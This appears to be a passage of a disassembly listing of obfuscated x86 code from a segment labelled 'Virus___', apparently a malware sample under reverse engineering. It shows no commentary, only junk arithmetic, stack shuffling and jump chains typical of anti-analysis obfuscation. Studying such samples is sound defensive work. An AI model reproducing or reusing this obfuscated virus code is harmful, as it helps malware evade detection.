; ---------------------------------------------------------------------------


loc_555E81:				; CODE XREF: Virus___:00555419j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_554C5E
; ---------------------------------------------------------------------------


loc_555E8B:				; CODE XREF: Virus___:0055685Ej
		dec	ecx
		jmp	loc_56095F
; ---------------------------------------------------------------------------


loc_555E91:				; CODE XREF: Virus___:00557F9Fj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555E96:				; CODE XREF: Virus___:0055B935j
		neg	ch
		jmp	loc_555F08
; ---------------------------------------------------------------------------


loc_555E9D:				; CODE XREF: Virus___:00555BDEj
		mov	ecx, 6BF36330h
		add	esi, ecx
		pop	ecx
		pop	edi
		jmp	loc_560C28
; ---------------------------------------------------------------------------


loc_555EAB:				; CODE XREF: Virus___:0056477Bj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55F448
; ---------------------------------------------------------------------------


loc_555EB7:				; CODE XREF: Virus___:00559850j
		mov	[esp], ebp
		jmp	loc_55BC8F
; ---------------------------------------------------------------------------


loc_555EBF:				; CODE XREF: Virus___:0055F094j
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4C992325h
		add	eax, edx
		sub	eax, 4C992325h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ebx
		push	550Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 608709A7h
		jmp	loc_556541
; ---------------------------------------------------------------------------


loc_555F08:				; CODE XREF: Virus___:00555E98j
		sub	ch, 0FFh
		jmp	loc_55E224
; ---------------------------------------------------------------------------


loc_555F10:				; CODE XREF: Virus___:00553BA1j
		add	edi, 7EC85025h
		jmp	loc_55FC53
; ---------------------------------------------------------------------------


loc_555F1B:				; CODE XREF: Virus___:00564567j
		or	edi, 4C5E3256h
		push	esi
		mov	esi, 0D8B6A9Ah
		jmp	loc_551310
; ---------------------------------------------------------------------------


loc_555F2C:				; CODE XREF: Virus___:0055C552j
		mov	esi, [esp]
		jmp	loc_5555B9
; ---------------------------------------------------------------------------


loc_555F34:				; CODE XREF: Virus___:00553210j
		add	esi, ebx
		pop	ebx
		sub	esi, eax
		sub	esi, 0A0A0844h
		jmp	loc_5557F6
; ---------------------------------------------------------------------------


loc_555F44:				; CODE XREF: Virus___:0055D933j
		mov	edi, 6654572h
		shr	edi, 7
		shr	edi, 4
		push	eax
		mov	eax, 2AC113E2h
		sub	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		sub	esi, 2C12BADh
		sub	esi, 103A5830h
		add	esi, 28BE3EB2h
		add	esi, ebx
		jmp	loc_55FD48
; ---------------------------------------------------------------------------


loc_555F74:				; CODE XREF: Virus___:00550DCDj
		mov	ecx, 4ED14F93h
		push	edi
		mov	edi, ecx
		jmp	loc_55FF99
; ---------------------------------------------------------------------------


loc_555F81:				; CODE XREF: Virus___:0055B09Bj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 485D1E42h
		and	eax, 4D706A20h
		jmp	loc_558C26
; ---------------------------------------------------------------------------


loc_555FA3:				; CODE XREF: Virus___:005640D4j
		push	ecx
		mov	ecx, 416204A0h
		xor	ecx, 30D477F2h
		sub	ecx, 0FF312121h
		add	eax, ecx
		pop	ecx
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	0FB0h
		mov	[esp], esi
		jmp	loc_5508CA
; ---------------------------------------------------------------------------


loc_555FCD:				; CODE XREF: Virus___:005536DAj
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55EE60
; ---------------------------------------------------------------------------


loc_555FDE:				; CODE XREF: Virus___:0055D6B0j
		add	esi, 2DA6D9C5h
		jmp	loc_54FA6E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	72BFh
		jmp	loc_55001D
; ---------------------------------------------------------------------------


loc_555FF9:				; CODE XREF: Virus___:0055322Cj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55C173
; ---------------------------------------------------------------------------


loc_556007:				; CODE XREF: Virus___:0054F8A7j
		push	edx
		mov	edx, 46B97640h
		inc	edx
		jmp	loc_554E42
; ---------------------------------------------------------------------------


loc_556013:				; CODE XREF: Virus___:0054FD84j
		sub	esp, 2
		jmp	loc_552F69
; ---------------------------------------------------------------------------


loc_55601B:				; CODE XREF: Virus___:0055A29Bj
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_554855
; ---------------------------------------------------------------------------


loc_556027:				; CODE XREF: Virus___:00551AB0j
		neg	edx
		add	edx, 1CCF2533h
		mov	ecx, 7EAD163Ah
		jmp	loc_55EE20
; ---------------------------------------------------------------------------


loc_556039:				; CODE XREF: Virus___:0055D5FEj
		add	esp, 4
		shr	esi, 3
		jmp	loc_555CB6
; ---------------------------------------------------------------------------


loc_556047:				; CODE XREF: Virus___:005532FDj
		pop	esi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_557610
; ---------------------------------------------------------------------------


loc_556053:				; CODE XREF: Virus___:0055D52Fj
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_55BA4F
; ---------------------------------------------------------------------------


loc_55605D:				; CODE XREF: Virus___:00551B1Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 0E047EDEDh
		jmp	loc_55A619
; ---------------------------------------------------------------------------


loc_556077:				; CODE XREF: Virus___:0055BD71j
		xor	edx, [esp]
		jmp	loc_5618A1
; ---------------------------------------------------------------------------


loc_55607F:				; CODE XREF: Virus___:0055922Cj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_55A0C8
; ---------------------------------------------------------------------------


loc_55608C:				; CODE XREF: Virus___:0055F438j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 10h
		jmp	loc_55DB78
; ---------------------------------------------------------------------------


loc_5560BC:				; CODE XREF: Virus___:00564921j
		mov	bl, 0E4h
		jmp	loc_55868B
; ---------------------------------------------------------------------------


loc_5560C3:				; CODE XREF: Virus___:005542AAj
		pop	esi
		jmp	loc_562E2C
; ---------------------------------------------------------------------------


loc_5560C9:				; CODE XREF: Virus___:00554F51j
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_56420A
; ---------------------------------------------------------------------------


loc_5560D3:				; CODE XREF: Virus___:0055D3F4j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, edi
		push	eax
		mov	eax, ebp
		push	eax
		pop	edx
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5638EB
; ---------------------------------------------------------------------------


loc_5560F0:				; CODE XREF: Virus___:00564097j
		xor	edx, 3ED63203h
		mov	ebx, [esp]
		jmp	loc_557E58
; ---------------------------------------------------------------------------


loc_5560FE:				; CODE XREF: Virus___:0055C303j
		push	ebx
		jmp	loc_55817E
; ---------------------------------------------------------------------------


loc_556104:				; CODE XREF: Virus___:0055FB04j
		push	5063h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		jmp	loc_550799
; ---------------------------------------------------------------------------


loc_556118:				; CODE XREF: Virus___:0055B03Fj
		push	eax
		jmp	loc_5559AB
; ---------------------------------------------------------------------------


loc_55611E:				; CODE XREF: Virus___:0055069Dj
		push	esp
		pop	ebx
		jmp	loc_5645F9
; ---------------------------------------------------------------------------


loc_556125:				; CODE XREF: Virus___:00557FFDj
		xor	edi, 2E94DDAAh
		mov	esi, edi
		pop	edi
		jmp	loc_550F2E
; ---------------------------------------------------------------------------


loc_556133:				; CODE XREF: Virus___:00561C4Ej
		mov	edx, 1D08F3Fh
		push	edx
		pop	edi
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		push	1B44h
		mov	[esp], edx
		push	ecx
		push	5CD36DE9h
		pop	ecx
		shl	ecx, 7
		neg	ecx
		sub	ecx, 5C79F0E8h
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edx, 44C53D2Ch
		jmp	loc_55C32B
; ---------------------------------------------------------------------------


loc_556192:				; CODE XREF: Virus___:00563BC8j
		mov	edx, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55C2FB
; ---------------------------------------------------------------------------


loc_5561A8:				; CODE XREF: Virus___:0055B824j
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		neg	ebx
		not	ebx
		neg	ebx
		jmp	loc_554B6E
; ---------------------------------------------------------------------------


loc_5561BB:				; CODE XREF: Virus___:0055B1DDj
		mov	ebp, esp
		push	esi
		mov	esi, 54B80706h
		not	esi
		add	esi, 54B8070Bh
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5537C7
; ---------------------------------------------------------------------------


loc_5561FD:				; CODE XREF: Virus___:00564A77j
		push	36127EA9h
		pop	eax
		xor	eax, 7AEB0680h
		mov	edi, eax
		pop	eax
		jmp	loc_559530
; ---------------------------------------------------------------------------


loc_556210:				; CODE XREF: Virus___:005543A1j
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_5586FE
; ---------------------------------------------------------------------------


loc_556226:				; CODE XREF: Virus___:0055C3E8j
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 580774F4h
		xor	edi, 780328D2h
		shl	edi, 2
		sub	edi, 42F2477Dh
		jmp	loc_55B31E
; ---------------------------------------------------------------------------


loc_556243:				; CODE XREF: Virus___:0055B8E2j
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_561E74
; ---------------------------------------------------------------------------


loc_556255:				; CODE XREF: Virus___:0055516Cj
		xor	ebp, 15A27384h
		jmp	loc_557EED
; ---------------------------------------------------------------------------


loc_556260:				; CODE XREF: Virus___:005600DEj
		add	esp, 4
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_55C498
; ---------------------------------------------------------------------------


loc_556274:				; CODE XREF: Virus___:005556D8j
		shr	ebp, 1
		jmp	loc_559CEC
; ---------------------------------------------------------------------------


loc_55627B:				; CODE XREF: Virus___:0055D6EFj
		mov	edi, 0B331BF2h
		jmp	loc_5579F4
; ---------------------------------------------------------------------------


loc_556285:				; CODE XREF: Virus___:005600CFj
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	79A3h
		jmp	loc_5537A0
; ---------------------------------------------------------------------------


loc_556299:				; CODE XREF: Virus___:0055CAE0j
		add	esp, 4
		jmp	loc_55062B
; ---------------------------------------------------------------------------


loc_5562A4:				; CODE XREF: Virus___:00561E77j
		mov	ebx, 7C4B078Fh
		shl	ebx, 1
		add	ebx, 769F0E6h
		add	edi, ebx
		jmp	loc_559550
; ---------------------------------------------------------------------------


loc_5562B8:				; CODE XREF: Virus___:0055592Aj
		push	7F66h
		mov	[esp], ecx
		push	0B20h
		mov	[esp], eax
		mov	ah, 5
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_550036
; ---------------------------------------------------------------------------


loc_5562E2:				; CODE XREF: Virus___:0056468Ej
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54FED5
; ---------------------------------------------------------------------------


loc_5562EE:				; CODE XREF: Virus___:00558C48j
		add	edi, ecx
		jmp	loc_563F83
; ---------------------------------------------------------------------------


loc_5562F5:				; CODE XREF: Virus___:005618E8j
		add	ecx, 0BC4AA506h
		jmp	loc_551F38
; ---------------------------------------------------------------------------


loc_556300:				; CODE XREF: Virus___:00562AE4j
		mov	esi, 4
		jmp	loc_55F213
; ---------------------------------------------------------------------------


loc_55630A:				; CODE XREF: Virus___:0055F270j
		mov	[esp], ebx
		jmp	loc_550616
; ---------------------------------------------------------------------------


loc_556312:				; CODE XREF: Virus___:00556693j
		push	7062h
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	4
		jmp	loc_561A48
; ---------------------------------------------------------------------------


loc_556332:				; CODE XREF: Virus___:0055938Aj
		sub	dword ptr [esp+4], 1E301865h
		pop	edi
		pop	esi
		add	esi, 4
		jmp	loc_55DCF0
; ---------------------------------------------------------------------------


loc_556347:				; CODE XREF: Virus___:005592FFj
		sub	[esp+4], edx
		jmp	loc_560F49
; ---------------------------------------------------------------------------


loc_556350:				; CODE XREF: Virus___:00561BC4j
		push	5404h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C9BC
; ---------------------------------------------------------------------------


loc_556370:				; CODE XREF: Virus___:00555AA9j
		mov	dl, al
		jmp	loc_55B44A
; ---------------------------------------------------------------------------


loc_556377:				; CODE XREF: Virus___:0055BD7Fj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55A6CC
; ---------------------------------------------------------------------------


loc_55638B:				; CODE XREF: Virus___:005580EEj
		mov	[esp], edx
		jmp	loc_559092
; ---------------------------------------------------------------------------


loc_556393:				; CODE XREF: Virus___:005638FBj
		neg	dl
		jmp	loc_559D56
; ---------------------------------------------------------------------------


loc_55639A:				; CODE XREF: Virus___:00550996j
		shr	ebp, 3
		and	ebp, 124720F9h
		jmp	loc_552768
; ---------------------------------------------------------------------------


loc_5563A8:				; CODE XREF: Virus___:0055BFAFj
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_55DFAA
; ---------------------------------------------------------------------------


loc_5563B5:				; CODE XREF: Virus___:00563513j
		xor	edx, 70FE2672h
		sub	eax, edx
		pop	edx
		jmp	loc_5543B9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5522FA
; ---------------------------------------------------------------------------


loc_5563CC:				; CODE XREF: Virus___:00555CE8j
		add	esp, 4
		add	edi, 4
		jmp	loc_555805
; ---------------------------------------------------------------------------


loc_5563DA:				; CODE XREF: Virus___:00561D2Bj
		pop	edx
		add	eax, ebp
		jmp	loc_55CF13
; ---------------------------------------------------------------------------


loc_5563E2:				; CODE XREF: Virus___:005565DEj
		push	279h
		jmp	loc_556791
; ---------------------------------------------------------------------------


loc_5563EC:				; CODE XREF: Virus___:0055AE92j
		push	235F145Bh
		pop	edx
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_558A19
; ---------------------------------------------------------------------------


loc_5563FC:				; CODE XREF: Virus___:00562C79j
		xor	esi, edi
		xor	edi, esi
		jmp	loc_55985B
; ---------------------------------------------------------------------------


loc_556405:				; CODE XREF: Virus___:005538BFj
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 61462129h
		jmp	loc_55D4C3
; ---------------------------------------------------------------------------


loc_556413:				; CODE XREF: Virus___:00563330j
		xor	ebp, 2C84304h
		add	edx, ebp
		jmp	loc_55767E
; ---------------------------------------------------------------------------


loc_556420:				; CODE XREF: Virus___:0055FD18j
		xor	esi, 751D086Eh
		push	eax
		mov	eax, 1
		sub	esi, eax
		pop	eax
		jmp	loc_5540A0
; ---------------------------------------------------------------------------


loc_556434:				; CODE XREF: Virus___:005647ECj
		push	ecx
		push	edx
		mov	edx, 0D64215Eh
		or	edx, 76457419h
		xor	edx, 410F5646h
		jmp	loc_552F53
; ---------------------------------------------------------------------------


loc_55644C:				; CODE XREF: Virus___:00550DC7j
		mov	eax, 69FF62FFh
		mov	edx, 63BF0EFFh
		jmp	loc_55F4A1
; ---------------------------------------------------------------------------


loc_55645B:				; CODE XREF: Virus___:00561BA5j
		pop	edx
		pop	esi
		sub	ecx, ebp
		jmp	loc_557D34
; ---------------------------------------------------------------------------


loc_556464:				; CODE XREF: Virus___:0054FE50j
		mov	[esp], eax
		push	50657AC0h
		pop	eax
		or	eax, 335F1394h
		jmp	loc_557018
; ---------------------------------------------------------------------------


loc_556477:				; CODE XREF: Virus___:0055F97Dj
		mov	esi, 6CA03873h
		xor	edx, esi
		jmp	loc_55B023
; ---------------------------------------------------------------------------


loc_556483:				; CODE XREF: Virus___:0055CEB8j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55B7F6
; ---------------------------------------------------------------------------


loc_556492:				; CODE XREF: Virus___:0055952Bj
		pop	ebp
		push	edx
		push	47D3h
		mov	[esp], ecx
		mov	ecx, 47850361h
		shr	ecx, 7
		jmp	loc_5589F4
; ---------------------------------------------------------------------------


loc_5564A9:				; CODE XREF: Virus___:0055E371j
		push	671h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_561CCC
; ---------------------------------------------------------------------------


loc_5564B8:				; CODE XREF: Virus___:00552BDFj
		mov	ebp, [esp]
		jmp	loc_562470
; ---------------------------------------------------------------------------


loc_5564C0:				; CODE XREF: Virus___:0055F98Dj
		mov	ebx, 3C502331h
		dec	ebx
		jmp	loc_555055
; ---------------------------------------------------------------------------


loc_5564CB:				; CODE XREF: Virus___:0055CF53j
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		jmp	loc_55532E
; ---------------------------------------------------------------------------


loc_5564E1:				; CODE XREF: Virus___:00559FA8j
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	6816h
		mov	[esp], eax
		push	6423h
		mov	[esp], ebx
		mov	eax, [esp]
		push	84Ch
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		push	ebx
		jmp	loc_55B6D7
; ---------------------------------------------------------------------------


loc_55652F:				; CODE XREF: Virus___:0055FBF4j
		push	6783h
		mov	[esp], esi
		mov	esi, 1D113DB0h
		jmp	loc_561E36
; ---------------------------------------------------------------------------


loc_556541:				; CODE XREF: Virus___:00555F03j
		shr	ebx, 2
		jmp	loc_5603FD
; ---------------------------------------------------------------------------


loc_556549:				; CODE XREF: Virus___:00563D78j
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_550475
; ---------------------------------------------------------------------------


loc_556552:				; CODE XREF: Virus___:00559ACFj
		add	al, 69h
		pop	ecx
		push	small 44C5h
		jmp	loc_55916F
; ---------------------------------------------------------------------------


loc_55655E:				; CODE XREF: Virus___:00557822j
		sub	esp, 4
		mov	[esp], ebp
		pop	ebx
		jmp	loc_55DB65
; ---------------------------------------------------------------------------


loc_55656A:				; CODE XREF: Virus___:005590C7j
		pop	eax
		jmp	loc_564650
; ---------------------------------------------------------------------------


loc_556570:				; CODE XREF: Virus___:00552F2Dj
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		push	eax
		mov	al, dl
		mov	cl, al
		pop	eax
		mov	bh, cl
		jmp	loc_5584F8
; ---------------------------------------------------------------------------


loc_55659B:				; CODE XREF: Virus___:0055C7B7j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_556E61
; ---------------------------------------------------------------------------


loc_5565A8:				; CODE XREF: Virus___:00559356j
		mov	[esp], ax
		mov	al, 6Eh
		jmp	loc_5576F5
; ---------------------------------------------------------------------------


loc_5565B3:				; CODE XREF: Virus___:0055E008j
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_55AB1A
; ---------------------------------------------------------------------------


loc_5565BF:				; CODE XREF: Virus___:0055A66Ej
		shl	ebp, 1
		sub	ebp, 4F9F7245h
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		xor	ebp, 3D425D63h
		jmp	loc_55F905
; ---------------------------------------------------------------------------


loc_5565D8:				; CODE XREF: Virus___:0055291Dj
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5563E2
; ---------------------------------------------------------------------------


loc_5565E3:				; CODE XREF: Virus___:0055F6C8j
		sub	esi, 21FD0014h
		add	esi, ecx
		add	esi, 21FD0014h
		mov	ecx, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		push	7C95h
		jmp	loc_561C45
; ---------------------------------------------------------------------------


loc_556607:				; CODE XREF: Virus___:0055B7E4j
		push	edx
		push	ebx
		mov	ebx, 4D5E71EAh
		sub	ebx, 18EF5FB2h
		jmp	loc_56062D
; ---------------------------------------------------------------------------


loc_556619:				; CODE XREF: Virus___:005505E1j
		mov	edi, 674B591Ch
		jmp	loc_562B91
; ---------------------------------------------------------------------------


loc_556623:				; CODE XREF: Virus___:0055F06Fj
		push	esi
		jmp	loc_558447
; ---------------------------------------------------------------------------


loc_556629:				; CODE XREF: Virus___:005572DAj
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_5582F2
; ---------------------------------------------------------------------------


loc_556637:				; CODE XREF: Virus___:0055ABEEj
		shl	esi, 1
		jmp	loc_55A0A1
; ---------------------------------------------------------------------------


loc_55663E:				; CODE XREF: Virus___:00561B5Aj
		mov	edi, 4
		jmp	loc_551386
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_556650:				; CODE XREF: Virus___:00563303j
		add	esi, 26256477h
		neg	esi
		jmp	loc_54FAF0
; ---------------------------------------------------------------------------


loc_55665D:				; CODE XREF: Virus___:0055215Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_557A43
; ---------------------------------------------------------------------------


loc_55666E:				; CODE XREF: Virus___:00563DAAj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	13B0h
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_556312
; ---------------------------------------------------------------------------


loc_556698:				; CODE XREF: Virus___:00564246j
		mov	edx, 33AC2F88h
		dec	edx
		push	eax
		mov	eax, 2C436BDEh
		shr	eax, 1
		sub	eax, 0FFFFFFFFh
		push	ebx
		mov	ebx, 11E46A04h
		or	eax, ebx
		pop	ebx
		push	ebp
		push	ebx
		push	364F553Dh
		pop	ebx
		jmp	loc_55EC96
; ---------------------------------------------------------------------------


loc_5566C1:				; CODE XREF: Virus___:0055F174j
		add	edi, ecx
		pop	ecx
		shr	edi, 1
		push	edx
		push	edi
		mov	edi, 2EE152E4h
		mov	edx, edi
		pop	edi
		not	edx
		not	edx
		inc	edx
		sub	edx, 73FE2ABDh
		not	edx
		jmp	loc_551228
; ---------------------------------------------------------------------------


loc_5566E2:				; CODE XREF: Virus___:005547A3j
		pop	edi
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 65AC07CAh
		jmp	loc_550BDF
; ---------------------------------------------------------------------------


loc_5566F6:				; CODE XREF: Virus___:00563134j
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 7C9E71AEh
		push	238Ch
		jmp	loc_562F7D
; ---------------------------------------------------------------------------


loc_556716:				; CODE XREF: Virus___:00558284j
		mov	ebp, 56193A0Dh
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 114CE1EFh
		sub	ebx, ecx
		jmp	loc_550E41
; ---------------------------------------------------------------------------


loc_55672B:				; CODE XREF: Virus___:0055FA5Bj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55EDCD
; ---------------------------------------------------------------------------


loc_556734:				; CODE XREF: Virus___:0055AC03j
		add	edx, 18067A66h
		add	edx, eax
		sub	edx, 18067A66h
		add	edx, 30215726h
		add	edx, 4C596C0Fh
		push	151Fh
		mov	[esp], ecx
		mov	ecx, 8FF0DC8h
		sub	edx, 18D502BAh
		add	edx, ecx
		push	ebp
		mov	ebp, 6369D0h
		shl	ebp, 5
		dec	ebp
		xor	ebp, 2CA923D1h
		xor	ebp, 38111894h
		add	edx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_55CC28
; ---------------------------------------------------------------------------


loc_556791:				; CODE XREF: Virus___:005563E7j
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5574C9
; ---------------------------------------------------------------------------


loc_55679B:				; CODE XREF: Virus___:005529FEj
		xor	al, 6Ch
		add	cl, al
		pop	eax
		jmp	loc_5607FF
; ---------------------------------------------------------------------------


loc_5567A5:				; CODE XREF: Virus___:0055BC13j
		mov	edx, 5EE2719Ch
		shl	edx, 3
		jmp	loc_55F19E
; ---------------------------------------------------------------------------


loc_5567B2:				; CODE XREF: Virus___:0055C628j
		or	ecx, edx
		jmp	loc_555664
; ---------------------------------------------------------------------------


loc_5567B9:				; CODE XREF: Virus___:0055D86Dj
		mov	esi, 7F8D56ABh
		add	[esp+4], esi
		jmp	loc_55D526
; ---------------------------------------------------------------------------


loc_5567C7:				; CODE XREF: Virus___:0055EF78j
		not	cl
		and	cl, 0C5h
		shr	cl, 3
		add	cl, 21h
		add	cl, 0A4h
		jmp	loc_56320A
; ---------------------------------------------------------------------------


loc_5567DA:				; CODE XREF: Virus___:0055D9D5j
		add	ebp, 151E0742h
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4FDE5F62h
		inc	ecx
		or	ecx, 10047935h
		jmp	loc_55E319
; ---------------------------------------------------------------------------


loc_5567F5:				; CODE XREF: Virus___:005546DAj
		pop	ebx
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 0C7373E9h
		add	esi, edx
		jmp	loc_554988
; ---------------------------------------------------------------------------


loc_55680B:				; CODE XREF: Virus___:005600B1j
		push	ebx
		push	52551D99h
		pop	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		and	ebx, 219F7B4Ch
		not	ebx
		add	ebx, 97C56358h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_55D45D
; ---------------------------------------------------------------------------


loc_55682D:				; CODE XREF: Virus___:00560079j
		push	cx
		sub	byte ptr [esp+1], 0FFh
		mov	cx, [esp]
		add	esp, 2
		xchg	bl, ch
		inc	bl
		xchg	bl, ch
		push	bx
		mov	bl, 0B6h
		xor	ch, bl
		pop	bx
		push	edx
		jmp	loc_55D815
; ---------------------------------------------------------------------------


loc_55684F:				; CODE XREF: Virus___:00561421j
		sub	ecx, edi
		pop	edi
		or	ecx, 68B030BEh
		and	ecx, 596642D9h
		jmp	loc_555E8B
; ---------------------------------------------------------------------------


loc_556863:				; CODE XREF: Virus___:0055C53Ej
		push	dword ptr [esp]
		jmp	loc_562A1A
; ---------------------------------------------------------------------------


loc_55686B:				; CODE XREF: Virus___:0055E057j
		xchg	eax, [esp]
		jmp	loc_563F6D
; ---------------------------------------------------------------------------


loc_556873:				; CODE XREF: Virus___:0055EF47j
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_558298
		push	ebx
		sub	dword ptr [esp], 3F7D5DCAh
		jmp	loc_55E9A9
; ---------------------------------------------------------------------------


loc_55688C:				; CODE XREF: Virus___:0054F8EEj
		push	eax
		mov	eax, 66F6A77h
		add	eax, 21D226E7h
		sub	eax, 434D47BBh
		shl	eax, 7
		add	eax, 85DB2E84h
		sub	ecx, 4CC72885h
		add	ecx, eax
		add	ecx, 4CC72885h
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_55AB0C
; ---------------------------------------------------------------------------


loc_5568BE:				; CODE XREF: Virus___:005597D3j
		push	ebp
		jmp	loc_5554D5
; ---------------------------------------------------------------------------


loc_5568C4:				; CODE XREF: Virus___:0055E2E7j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5522A6
; ---------------------------------------------------------------------------


loc_5568DB:				; CODE XREF: Virus___:0056309Aj
		add	ebp, 48425C76h
		pop	ecx
		add	ebp, 506F78EAh
		jmp	loc_55394A
; ---------------------------------------------------------------------------


loc_5568ED:				; CODE XREF: Virus___:005532B0j
		add	edx, ebp
		pop	ebp
		jmp	loc_560109
; ---------------------------------------------------------------------------


loc_5568F5:				; CODE XREF: Virus___:0055D7B6j
		mov	[esp], ebx
		push	63F7h
		jmp	loc_551F69
; ---------------------------------------------------------------------------


loc_556902:				; CODE XREF: Virus___:0055D848j
		sub	esp, 4
